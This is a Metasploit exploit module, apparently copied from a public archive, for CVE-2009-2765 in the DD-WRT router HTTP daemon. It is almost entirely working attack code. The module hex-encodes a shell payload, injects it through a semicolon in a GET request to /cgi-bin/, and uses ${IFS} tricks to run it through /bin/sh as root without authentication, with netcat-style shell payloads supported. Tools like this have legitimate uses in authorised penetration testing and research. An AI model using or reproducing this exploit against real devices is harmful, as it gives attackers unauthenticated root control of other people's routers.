DD-WRT HTTP Daemon Arbitrary Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',  
'Description' => %q{  
This module abuses a metacharacter injection vulnerability in the  
HTTP management server of wireless gateways running DD-WRT. This flaw  
allows an unauthenticated attacker to execute arbitrary commands as  
the root user account.  
},  
'Author' => [ 'gat3way', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2009-2765'],  
[ 'OSVDB', '55990' ],  
[ 'BID', '35742' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/9209'],  
  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,   
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'RequiredCmd' => 'generic netcat-e'  
}  
},  
'Targets' =>   
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
end  
  
def exploit  
connect  
  
cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}  
str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"  
req =   
"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +  
"Host: #{rhost}\r\n" +  
"Content-Length: 0\r\n\r\n"  
  
print_status("Sending GET request with encoded command line...")  
sock.put(req)  
  
handler  
disconnect  
end  
  
end  
  
`